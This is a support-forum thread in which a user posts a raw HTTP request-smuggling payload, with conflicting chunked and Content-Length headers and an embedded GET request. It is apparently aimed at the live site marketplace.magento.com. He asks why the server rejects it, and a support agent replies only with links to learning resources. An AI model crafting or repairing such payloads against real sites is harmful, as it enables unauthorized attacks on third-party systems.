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Broken chunked-encoding

Daniel | Last updated: Apr 21, 2021 11:30PM UTC

Hi. Am sending this request POST /solwin-ourquote.html?wmGl=1697941711 HTTP/1.1 Host: marketplace.magento.com Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 26 Connection: keep-alive 96 GET /404 HTTP/1.1 X: x=1&q=smugging&x= Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 x= 0 POST /solwin-ourquote.html?wmGl=1697941711 HTTP/1.1 Host: marketplace.magento.com Am getting this response. HTTP/1.1 400 Invalid Request Connection: close Content-Length: 23 content-type: text/plain; charset=utf-8 broken chunked-encoding I have tried to research on that response but I have not succeeded . Kindly let me know where I might be going wrong

Hannah, PortSwigger Agent | Last updated: Apr 22, 2021 09:57AM UTC


Have you had a look at our resources on HTTP Request Smuggling?

You can find our academy topic on the subject here.

We have also published some whitepapers on the subject.

All of our published research can be found here!

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